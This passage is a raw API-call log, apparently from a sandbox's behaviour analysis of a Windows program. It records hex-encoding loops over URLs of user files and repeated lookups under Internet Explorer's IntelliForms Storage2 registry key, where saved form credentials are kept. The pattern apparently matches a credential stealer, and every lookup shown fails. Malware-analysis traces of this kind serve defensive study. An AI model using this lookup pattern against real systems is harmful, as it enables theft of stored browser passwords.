lpString1="5DB812013644", lpString2="D2" | out: lpString1="5DB812013644D2") returned="5DB812013644D2" [0077.944] LocalFree (hMem=0x655ba8) returned 0x0 [0077.944] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9F") returned 2 [0077.944] lstrlenA (lpString="5DB812013644D2") returned 14 [0077.944] lstrlenA (lpString="9F") returned 2 [0077.944] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x655cd8 [0077.944] lstrcpyA (in: lpString1=0x655cd8, lpString2="5DB812013644D2" | out: lpString1="5DB812013644D2") returned="5DB812013644D2" [0077.944] lstrcatA (in: lpString1="5DB812013644D2", lpString2="9F" | out: lpString1="5DB812013644D29F") returned="5DB812013644D29F" [0077.944] LocalFree (hMem=0x655c40) returned 0x0 [0077.944] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="C4") returned 2 [0077.944] lstrlenA (lpString="5DB812013644D29F") returned 16 [0077.944] lstrlenA (lpString="C4") returned 2 [0077.944] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x655ba8 [0077.944] lstrcpyA (in: lpString1=0x655ba8, lpString2="5DB812013644D29F" | out: lpString1="5DB812013644D29F") returned="5DB812013644D29F" [0077.944] lstrcatA (in: lpString1="5DB812013644D29F", lpString2="C4" | out: lpString1="5DB812013644D29FC4") returned="5DB812013644D29FC4" [0077.944] LocalFree (hMem=0x655cd8) returned 0x0 [0077.944] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="15") returned 2 [0077.944] lstrlenA (lpString="5DB812013644D29FC4") returned 18 [0077.944] lstrlenA (lpString="15") returned 2 [0077.944] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x655c48 [0077.944] lstrcpyA (in: lpString1=0x655c48, lpString2="5DB812013644D29FC4" | out: lpString1="5DB812013644D29FC4") returned="5DB812013644D29FC4" [0077.944] lstrcatA (in: lpString1="5DB812013644D29FC4", lpString2="15" | out: lpString1="5DB812013644D29FC415") returned="5DB812013644D29FC415" [0077.944] LocalFree (hMem=0x655ba8) returned 0x0 [0077.944] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B3") returned 2 [0077.944] lstrlenA (lpString="5DB812013644D29FC415") returned 20 [0077.944] lstrlenA (lpString="B3") returned 2 [0077.944] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x655ba8 [0077.944] lstrcpyA (in: lpString1=0x655ba8, lpString2="5DB812013644D29FC415" | out: lpString1="5DB812013644D29FC415") returned="5DB812013644D29FC415" [0077.944] lstrcatA (in: lpString1="5DB812013644D29FC415", lpString2="B3" | out: lpString1="5DB812013644D29FC415B3") returned="5DB812013644D29FC415B3" [0077.944] LocalFree (hMem=0x655c48) returned 0x0 [0077.944] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="31") returned 2 [0077.944] lstrlenA (lpString="5DB812013644D29FC415B3") returned 22 [0077.944] lstrlenA (lpString="31") returned 2 [0077.944] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652ab8 [0077.944] lstrcpyA (in: lpString1=0x652ab8, lpString2="5DB812013644D29FC415B3" | out: lpString1="5DB812013644D29FC415B3") returned="5DB812013644D29FC415B3" [0077.944] lstrcatA (in: lpString1="5DB812013644D29FC415B3", lpString2="31" | out: lpString1="5DB812013644D29FC415B331") returned="5DB812013644D29FC415B331" [0077.944] LocalFree (hMem=0x655ba8) returned 0x0 [0077.944] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="0C") returned 2 [0077.944] lstrlenA (lpString="5DB812013644D29FC415B331") returned 24 [0077.945] lstrlenA (lpString="0C") returned 2 [0077.945] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652968 [0077.945] lstrcpyA (in: lpString1=0x652968, lpString2="5DB812013644D29FC415B331" | out: lpString1="5DB812013644D29FC415B331") returned="5DB812013644D29FC415B331" [0077.945] lstrcatA (in: lpString1="5DB812013644D29FC415B331", lpString2="0C" | out: lpString1="5DB812013644D29FC415B3310C") returned="5DB812013644D29FC415B3310C" [0077.945] LocalFree (hMem=0x652ab8) returned 0x0 [0077.945] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CD") returned 2 [0077.945] lstrlenA (lpString="5DB812013644D29FC415B3310C") returned 26 [0077.945] lstrlenA (lpString="CD") returned 2 [0077.945] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652ab8 [0077.945] lstrcpyA (in: lpString1=0x652ab8, lpString2="5DB812013644D29FC415B3310C" | out: lpString1="5DB812013644D29FC415B3310C") returned="5DB812013644D29FC415B3310C" [0077.945] lstrcatA (in: lpString1="5DB812013644D29FC415B3310C", lpString2="CD" | out: lpString1="5DB812013644D29FC415B3310CCD") returned="5DB812013644D29FC415B3310CCD" [0077.945] LocalFree (hMem=0x652968) returned 0x0 [0077.945] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="35") returned 2 [0077.945] lstrlenA (lpString="5DB812013644D29FC415B3310CCD") returned 28 [0077.945] lstrlenA (lpString="35") returned 2 [0077.945] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652968 [0077.945] lstrcpyA (in: lpString1=0x652968, lpString2="5DB812013644D29FC415B3310CCD" | out: lpString1="5DB812013644D29FC415B3310CCD") returned="5DB812013644D29FC415B3310CCD" [0077.945] lstrcatA (in: lpString1="5DB812013644D29FC415B3310CCD", lpString2="35" | out: lpString1="5DB812013644D29FC415B3310CCD35") returned="5DB812013644D29FC415B3310CCD35" [0077.945] LocalFree (hMem=0x652ab8) returned 0x0 [0077.945] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E6") returned 2 [0077.945] lstrlenA (lpString="5DB812013644D29FC415B3310CCD35") returned 30 [0077.945] lstrlenA (lpString="E6") returned 2 [0077.945] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0077.945] lstrcpyA (in: lpString1=0x6292f8, lpString2="5DB812013644D29FC415B3310CCD35" | out: lpString1="5DB812013644D29FC415B3310CCD35") returned="5DB812013644D29FC415B3310CCD35" [0077.945] lstrcatA (in: lpString1="5DB812013644D29FC415B3310CCD35", lpString2="E6" | out: lpString1="5DB812013644D29FC415B3310CCD35E6") returned="5DB812013644D29FC415B3310CCD35E6" [0077.945] LocalFree (hMem=0x652968) returned 0x0 [0077.945] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="8A") returned 2 [0077.945] lstrlenA (lpString="5DB812013644D29FC415B3310CCD35E6") returned 32 [0077.945] lstrlenA (lpString="8A") returned 2 [0077.945] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0077.945] lstrcpyA (in: lpString1=0x6293a8, lpString2="5DB812013644D29FC415B3310CCD35E6" | out: lpString1="5DB812013644D29FC415B3310CCD35E6") returned="5DB812013644D29FC415B3310CCD35E6" [0077.945] lstrcatA (in: lpString1="5DB812013644D29FC415B3310CCD35E6", lpString2="8A" | out: lpString1="5DB812013644D29FC415B3310CCD35E68A") returned="5DB812013644D29FC415B3310CCD35E68A" [0077.945] LocalFree (hMem=0x6292f8) returned 0x0 [0077.945] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="12") returned 2 [0077.945] lstrlenA (lpString="5DB812013644D29FC415B3310CCD35E68A") returned 34 [0077.945] lstrlenA (lpString="12") returned 2 [0077.945] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0077.945] lstrcpyA (in: lpString1=0x6292f8, lpString2="5DB812013644D29FC415B3310CCD35E68A" | out: lpString1="5DB812013644D29FC415B3310CCD35E68A") returned="5DB812013644D29FC415B3310CCD35E68A" [0077.948] lstrcatA (in: lpString1="5DB812013644D29FC415B3310CCD35E68A", lpString2="12" | out: lpString1="5DB812013644D29FC415B3310CCD35E68A12") returned="5DB812013644D29FC415B3310CCD35E68A12" [0077.949] LocalFree (hMem=0x6293a8) returned 0x0 [0077.949] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="1F") returned 2 [0077.950] lstrlenA (lpString="5DB812013644D29FC415B3310CCD35E68A12") returned 36 [0077.950] lstrlenA (lpString="1F") returned 2 [0077.950] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0077.950] lstrcpyA (in: lpString1=0x6293a8, lpString2="5DB812013644D29FC415B3310CCD35E68A12" | out: lpString1="5DB812013644D29FC415B3310CCD35E68A12") returned="5DB812013644D29FC415B3310CCD35E68A12" [0077.950] lstrcatA (in: lpString1="5DB812013644D29FC415B3310CCD35E68A12", lpString2="1F" | out: lpString1="5DB812013644D29FC415B3310CCD35E68A121F") returned="5DB812013644D29FC415B3310CCD35E68A121F" [0077.950] LocalFree (hMem=0x6292f8) returned 0x0 [0077.950] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9D") returned 2 [0077.950] lstrlenA (lpString="5DB812013644D29FC415B3310CCD35E68A121F") returned 38 [0077.950] lstrlenA (lpString="9D") returned 2 [0077.950] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647668 [0077.950] lstrcpyA (in: lpString1=0x647668, lpString2="5DB812013644D29FC415B3310CCD35E68A121F" | out: lpString1="5DB812013644D29FC415B3310CCD35E68A121F") returned="5DB812013644D29FC415B3310CCD35E68A121F" [0077.950] lstrcatA (in: lpString1="5DB812013644D29FC415B3310CCD35E68A121F", lpString2="9D" | out: lpString1="5DB812013644D29FC415B3310CCD35E68A121F9D") returned="5DB812013644D29FC415B3310CCD35E68A121F9D" [0077.950] LocalFree (hMem=0x6293a8) returned 0x0 [0077.950] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="1C") returned 2 [0077.950] lstrlenA (lpString="5DB812013644D29FC415B3310CCD35E68A121F9D") returned 40 [0077.950] lstrlenA (lpString="1C") returned 2 [0077.950] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x6477d8 [0077.950] lstrcpyA (in: lpString1=0x6477d8, lpString2="5DB812013644D29FC415B3310CCD35E68A121F9D" | out: lpString1="5DB812013644D29FC415B3310CCD35E68A121F9D") returned="5DB812013644D29FC415B3310CCD35E68A121F9D" [0077.950] lstrcatA (in: lpString1="5DB812013644D29FC415B3310CCD35E68A121F9D", lpString2="1C" | out: lpString1="5DB812013644D29FC415B3310CCD35E68A121F9D1C") returned="5DB812013644D29FC415B3310CCD35E68A121F9D1C" [0077.950] LocalFree (hMem=0x647668) returned 0x0 [0077.950] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0077.950] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0077.950] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0077.950] LocalFree (hMem=0x6477d8) returned 0x0 [0077.950] CoTaskMemFree (pv=0x655b20) [0077.950] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/AppData/Roaming/55uc2crE4p0Zq5Jnf.mkv", lpSrch="?") returned 0x0 [0077.950] lstrlenW (lpString="file:///C:/Users/EEBsYm5/AppData/Roaming/55uc2crE4p0Zq5Jnf.mkv") returned 62 [0077.950] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="C7") returned 2 [0077.950] lstrlenA (lpString="") returned 0 [0077.950] lstrlenA (lpString="C7") returned 2 [0077.950] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x655d40 [0077.951] lstrcpyA (in: lpString1=0x655d40, lpString2="" | out: lpString1="") returned="" [0077.951] lstrcatA (in: lpString1="", lpString2="C7" | out: lpString1="C7") returned="C7" [0077.951] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="31") returned 2 [0077.951] lstrlenA (lpString="C7") returned 2 [0077.951] lstrlenA (lpString="31") returned 2 [0077.951] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x655dd0 [0077.951] lstrcpyA (in: lpString1=0x655dd0, lpString2="C7" | out: lpString1="C7") returned="C7" [0077.951] lstrcatA (in: lpString1="C7", lpString2="31" | out: lpString1="C731") returned="C731" [0077.951] LocalFree (hMem=0x655d40) returned 0x0 [0077.951] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="91") returned 2 [0077.951] lstrlenA (lpString="C731") returned 4 [0077.951] lstrlenA (lpString="91") returned 2 [0077.951] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x655d40 [0077.951] lstrcpyA (in: lpString1=0x655d40, lpString2="C731" | out: lpString1="C731") returned="C731" [0077.951] lstrcatA (in: lpString1="C731", lpString2="91" | out: lpString1="C73191") returned="C73191" [0077.951] LocalFree (hMem=0x655dd0) returned 0x0 [0077.951] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="0D") returned 2 [0077.951] lstrlenA (lpString="C73191") returned 6 [0077.951] lstrlenA (lpString="0D") returned 2 [0077.951] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x655dd0 [0077.951] lstrcpyA (in: lpString1=0x655dd0, lpString2="C73191" | out: lpString1="C73191") returned="C73191" [0077.951] lstrcatA (in: lpString1="C73191", lpString2="0D" | out: lpString1="C731910D") returned="C731910D" [0077.951] LocalFree (hMem=0x655d40) returned 0x0 [0077.951] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="3F") returned 2 [0077.951] lstrlenA (lpString="C731910D") returned 8 [0077.951] lstrlenA (lpString="3F") returned 2 [0077.951] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x655e68 [0077.951] lstrcpyA (in: lpString1=0x655e68, lpString2="C731910D" | out: lpString1="C731910D") returned="C731910D" [0077.951] lstrcatA (in: lpString1="C731910D", lpString2="3F" | out: lpString1="C731910D3F") returned="C731910D3F" [0077.951] LocalFree (hMem=0x655dd0) returned 0x0 [0077.951] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="43") returned 2 [0077.951] lstrlenA (lpString="C731910D3F") returned 10 [0077.951] lstrlenA (lpString="43") returned 2 [0077.951] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x655d40 [0077.951] lstrcpyA (in: lpString1=0x655d40, lpString2="C731910D3F" | out: lpString1="C731910D3F") returned="C731910D3F" [0077.951] lstrcatA (in: lpString1="C731910D3F", lpString2="43" | out: lpString1="C731910D3F43") returned="C731910D3F43" [0077.951] LocalFree (hMem=0x655e68) returned 0x0 [0077.951] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="AB") returned 2 [0077.951] lstrlenA (lpString="C731910D3F43") returned 12 [0077.952] lstrlenA (lpString="AB") returned 2 [0077.952] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x655dd8 [0077.952] lstrcpyA (in: lpString1=0x655dd8, lpString2="C731910D3F43" | out: lpString1="C731910D3F43") returned="C731910D3F43" [0077.952] lstrcatA (in: lpString1="C731910D3F43", lpString2="AB" | out: lpString1="C731910D3F43AB") returned="C731910D3F43AB" [0077.952] LocalFree (hMem=0x655d40) returned 0x0 [0077.952] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BD") returned 2 [0077.952] lstrlenA (lpString="C731910D3F43AB") returned 14 [0077.952] lstrlenA (lpString="BD") returned 2 [0077.952] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x655e70 [0077.952] lstrcpyA (in: lpString1=0x655e70, lpString2="C731910D3F43AB" | out: lpString1="C731910D3F43AB") returned="C731910D3F43AB" [0077.952] lstrcatA (in: lpString1="C731910D3F43AB", lpString2="BD" | out: lpString1="C731910D3F43ABBD") returned="C731910D3F43ABBD" [0077.952] LocalFree (hMem=0x655dd8) returned 0x0 [0077.952] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F7") returned 2 [0077.952] lstrlenA (lpString="C731910D3F43ABBD") returned 16 [0077.952] lstrlenA (lpString="F7") returned 2 [0077.952] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x655d40 [0077.952] lstrcpyA (in: lpString1=0x655d40, lpString2="C731910D3F43ABBD" | out: lpString1="C731910D3F43ABBD") returned="C731910D3F43ABBD" [0077.952] lstrcatA (in: lpString1="C731910D3F43ABBD", lpString2="F7" | out: lpString1="C731910D3F43ABBDF7") returned="C731910D3F43ABBDF7" [0077.952] LocalFree (hMem=0x655e70) returned 0x0 [0077.952] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="ED") returned 2 [0077.952] lstrlenA (lpString="C731910D3F43ABBDF7") returned 18 [0077.952] lstrlenA (lpString="ED") returned 2 [0077.952] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x655de0 [0077.952] lstrcpyA (in: lpString1=0x655de0, lpString2="C731910D3F43ABBDF7" | out: lpString1="C731910D3F43ABBDF7") returned="C731910D3F43ABBDF7" [0077.952] lstrcatA (in: lpString1="C731910D3F43ABBDF7", lpString2="ED" | out: lpString1="C731910D3F43ABBDF7ED") returned="C731910D3F43ABBDF7ED" [0077.952] LocalFree (hMem=0x655d40) returned 0x0 [0077.952] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="60") returned 2 [0077.952] lstrlenA (lpString="C731910D3F43ABBDF7ED") returned 20 [0077.952] lstrlenA (lpString="60") returned 2 [0077.952] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x655d40 [0077.952] lstrcpyA (in: lpString1=0x655d40, lpString2="C731910D3F43ABBDF7ED" | out: lpString1="C731910D3F43ABBDF7ED") returned="C731910D3F43ABBDF7ED" [0077.952] lstrcatA (in: lpString1="C731910D3F43ABBDF7ED", lpString2="60" | out: lpString1="C731910D3F43ABBDF7ED60") returned="C731910D3F43ABBDF7ED60" [0077.952] LocalFree (hMem=0x655de0) returned 0x0 [0077.953] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="26") returned 2 [0077.953] lstrlenA (lpString="C731910D3F43ABBDF7ED60") returned 22 [0077.953] lstrlenA (lpString="26") returned 2 [0077.953] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652968 [0077.953] lstrcpyA (in: lpString1=0x652968, lpString2="C731910D3F43ABBDF7ED60" | out: lpString1="C731910D3F43ABBDF7ED60") returned="C731910D3F43ABBDF7ED60" [0077.953] lstrcatA (in: lpString1="C731910D3F43ABBDF7ED60", lpString2="26" | out: lpString1="C731910D3F43ABBDF7ED6026") returned="C731910D3F43ABBDF7ED6026" [0077.953] LocalFree (hMem=0x655d40) returned 0x0 [0077.953] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BF") returned 2 [0077.953] lstrlenA (lpString="C731910D3F43ABBDF7ED6026") returned 24 [0077.953] lstrlenA (lpString="BF") returned 2 [0077.953] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652ab8 [0077.953] lstrcpyA (in: lpString1=0x652ab8, lpString2="C731910D3F43ABBDF7ED6026" | out: lpString1="C731910D3F43ABBDF7ED6026") returned="C731910D3F43ABBDF7ED6026" [0077.953] lstrcatA (in: lpString1="C731910D3F43ABBDF7ED6026", lpString2="BF" | out: lpString1="C731910D3F43ABBDF7ED6026BF") returned="C731910D3F43ABBDF7ED6026BF" [0077.953] LocalFree (hMem=0x652968) returned 0x0 [0077.953] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A7") returned 2 [0077.953] lstrlenA (lpString="C731910D3F43ABBDF7ED6026BF") returned 26 [0077.953] lstrlenA (lpString="A7") returned 2 [0077.953] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652968 [0077.953] lstrcpyA (in: lpString1=0x652968, lpString2="C731910D3F43ABBDF7ED6026BF" | out: lpString1="C731910D3F43ABBDF7ED6026BF") returned="C731910D3F43ABBDF7ED6026BF" [0077.953] lstrcatA (in: lpString1="C731910D3F43ABBDF7ED6026BF", lpString2="A7" | out: lpString1="C731910D3F43ABBDF7ED6026BFA7") returned="C731910D3F43ABBDF7ED6026BFA7" [0077.953] LocalFree (hMem=0x652ab8) returned 0x0 [0077.953] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="38") returned 2 [0077.953] lstrlenA (lpString="C731910D3F43ABBDF7ED6026BFA7") returned 28 [0077.953] lstrlenA (lpString="38") returned 2 [0077.953] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652ab8 [0077.953] lstrcpyA (in: lpString1=0x652ab8, lpString2="C731910D3F43ABBDF7ED6026BFA7" | out: lpString1="C731910D3F43ABBDF7ED6026BFA7") returned="C731910D3F43ABBDF7ED6026BFA7" [0077.953] lstrcatA (in: lpString1="C731910D3F43ABBDF7ED6026BFA7", lpString2="38" | out: lpString1="C731910D3F43ABBDF7ED6026BFA738") returned="C731910D3F43ABBDF7ED6026BFA738" [0077.953] LocalFree (hMem=0x652968) returned 0x0 [0077.953] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="70") returned 2 [0077.953] lstrlenA (lpString="C731910D3F43ABBDF7ED6026BFA738") returned 30 [0077.953] lstrlenA (lpString="70") returned 2 [0077.953] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0077.953] lstrcpyA (in: lpString1=0x6293a8, lpString2="C731910D3F43ABBDF7ED6026BFA738" | out: lpString1="C731910D3F43ABBDF7ED6026BFA738") returned="C731910D3F43ABBDF7ED6026BFA738" [0077.953] lstrcatA (in: lpString1="C731910D3F43ABBDF7ED6026BFA738", lpString2="70" | out: lpString1="C731910D3F43ABBDF7ED6026BFA73870") returned="C731910D3F43ABBDF7ED6026BFA73870" [0077.953] LocalFree (hMem=0x652ab8) returned 0x0 [0077.953] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="C3") returned 2 [0077.953] lstrlenA (lpString="C731910D3F43ABBDF7ED6026BFA73870") returned 32 [0077.954] lstrlenA (lpString="C3") returned 2 [0077.954] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0077.954] lstrcpyA (in: lpString1=0x6292f8, lpString2="C731910D3F43ABBDF7ED6026BFA73870" | out: lpString1="C731910D3F43ABBDF7ED6026BFA73870") returned="C731910D3F43ABBDF7ED6026BFA73870" [0077.954] lstrcatA (in: lpString1="C731910D3F43ABBDF7ED6026BFA73870", lpString2="C3" | out: lpString1="C731910D3F43ABBDF7ED6026BFA73870C3") returned="C731910D3F43ABBDF7ED6026BFA73870C3" [0077.954] LocalFree (hMem=0x6293a8) returned 0x0 [0077.954] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BA") returned 2 [0077.954] lstrlenA (lpString="C731910D3F43ABBDF7ED6026BFA73870C3") returned 34 [0077.954] lstrlenA (lpString="BA") returned 2 [0077.954] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0077.954] lstrcpyA (in: lpString1=0x6293a8, lpString2="C731910D3F43ABBDF7ED6026BFA73870C3" | out: lpString1="C731910D3F43ABBDF7ED6026BFA73870C3") returned="C731910D3F43ABBDF7ED6026BFA73870C3" [0077.954] lstrcatA (in: lpString1="C731910D3F43ABBDF7ED6026BFA73870C3", lpString2="BA" | out: lpString1="C731910D3F43ABBDF7ED6026BFA73870C3BA") returned="C731910D3F43ABBDF7ED6026BFA73870C3BA" [0077.954] LocalFree (hMem=0x6292f8) returned 0x0 [0077.954] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="01") returned 2 [0077.954] lstrlenA (lpString="C731910D3F43ABBDF7ED6026BFA73870C3BA") returned 36 [0077.954] lstrlenA (lpString="01") returned 2 [0077.954] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0077.954] lstrcpyA (in: lpString1=0x6292f8, lpString2="C731910D3F43ABBDF7ED6026BFA73870C3BA" | out: lpString1="C731910D3F43ABBDF7ED6026BFA73870C3BA") returned="C731910D3F43ABBDF7ED6026BFA73870C3BA" [0077.954] lstrcatA (in: lpString1="C731910D3F43ABBDF7ED6026BFA73870C3BA", lpString2="01" | out: lpString1="C731910D3F43ABBDF7ED6026BFA73870C3BA01") returned="C731910D3F43ABBDF7ED6026BFA73870C3BA01" [0077.954] LocalFree (hMem=0x6293a8) returned 0x0 [0077.954] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E3") returned 2 [0077.954] lstrlenA (lpString="C731910D3F43ABBDF7ED6026BFA73870C3BA01") returned 38 [0077.954] lstrlenA (lpString="E3") returned 2 [0077.954] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x6477d8 [0077.954] lstrcpyA (in: lpString1=0x6477d8, lpString2="C731910D3F43ABBDF7ED6026BFA73870C3BA01" | out: lpString1="C731910D3F43ABBDF7ED6026BFA73870C3BA01") returned="C731910D3F43ABBDF7ED6026BFA73870C3BA01" [0077.954] lstrcatA (in: lpString1="C731910D3F43ABBDF7ED6026BFA73870C3BA01", lpString2="E3" | out: lpString1="C731910D3F43ABBDF7ED6026BFA73870C3BA01E3") returned="C731910D3F43ABBDF7ED6026BFA73870C3BA01E3" [0077.954] LocalFree (hMem=0x6292f8) returned 0x0 [0077.954] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="59") returned 2 [0077.954] lstrlenA (lpString="C731910D3F43ABBDF7ED6026BFA73870C3BA01E3") returned 40 [0077.954] lstrlenA (lpString="59") returned 2 [0077.954] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647668 [0077.954] lstrcpyA (in: lpString1=0x647668, lpString2="C731910D3F43ABBDF7ED6026BFA73870C3BA01E3" | out: lpString1="C731910D3F43ABBDF7ED6026BFA73870C3BA01E3") returned="C731910D3F43ABBDF7ED6026BFA73870C3BA01E3" [0077.954] lstrcatA (in: lpString1="C731910D3F43ABBDF7ED6026BFA73870C3BA01E3", lpString2="59" | out: lpString1="C731910D3F43ABBDF7ED6026BFA73870C3BA01E359") returned="C731910D3F43ABBDF7ED6026BFA73870C3BA01E359" [0077.954] LocalFree (hMem=0x6477d8) returned 0x0 [0077.954] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0077.954] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0077.954] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0077.955] LocalFree (hMem=0x647668) returned 0x0 [0077.955] CoTaskMemFree (pv=0x655cb8) [0077.955] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/KI5zb.rtf", lpSrch="?") returned 0x0 [0077.955] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/KI5zb.rtf") returned 55 [0077.955] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FC") returned 2 [0077.955] lstrlenA (lpString="") returned 0 [0077.955] lstrlenA (lpString="FC") returned 2 [0077.955] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x655d98 [0077.955] lstrcpyA (in: lpString1=0x655d98, lpString2="" | out: lpString1="") returned="" [0077.955] lstrcatA (in: lpString1="", lpString2="FC" | out: lpString1="FC") returned="FC" [0077.955] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="AB") returned 2 [0077.955] lstrlenA (lpString="FC") returned 2 [0077.955] lstrlenA (lpString="AB") returned 2 [0077.955] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x655e28 [0077.955] lstrcpyA (in: lpString1=0x655e28, lpString2="FC" | out: lpString1="FC") returned="FC" [0077.955] lstrcatA (in: lpString1="FC", lpString2="AB" | out: lpString1="FCAB") returned="FCAB" [0077.955] LocalFree (hMem=0x655d98) returned 0x0 [0077.955] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BA") returned 2 [0077.955] lstrlenA (lpString="FCAB") returned 4 [0077.955] lstrlenA (lpString="BA") returned 2 [0077.955] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x655d98 [0077.955] lstrcpyA (in: lpString1=0x655d98, lpString2="FCAB" | out: lpString1="FCAB") returned="FCAB" [0077.955] lstrcatA (in: lpString1="FCAB", lpString2="BA" | out: lpString1="FCABBA") returned="FCABBA" [0077.955] LocalFree (hMem=0x655e28) returned 0x0 [0077.955] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A0") returned 2 [0077.955] lstrlenA (lpString="FCABBA") returned 6 [0077.955] lstrlenA (lpString="A0") returned 2 [0077.955] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x655e28 [0077.955] lstrcpyA (in: lpString1=0x655e28, lpString2="FCABBA" | out: lpString1="FCABBA") returned="FCABBA" [0077.955] lstrcatA (in: lpString1="FCABBA", lpString2="A0" | out: lpString1="FCABBAA0") returned="FCABBAA0" [0077.955] LocalFree (hMem=0x655d98) returned 0x0 [0077.955] wsprintfA 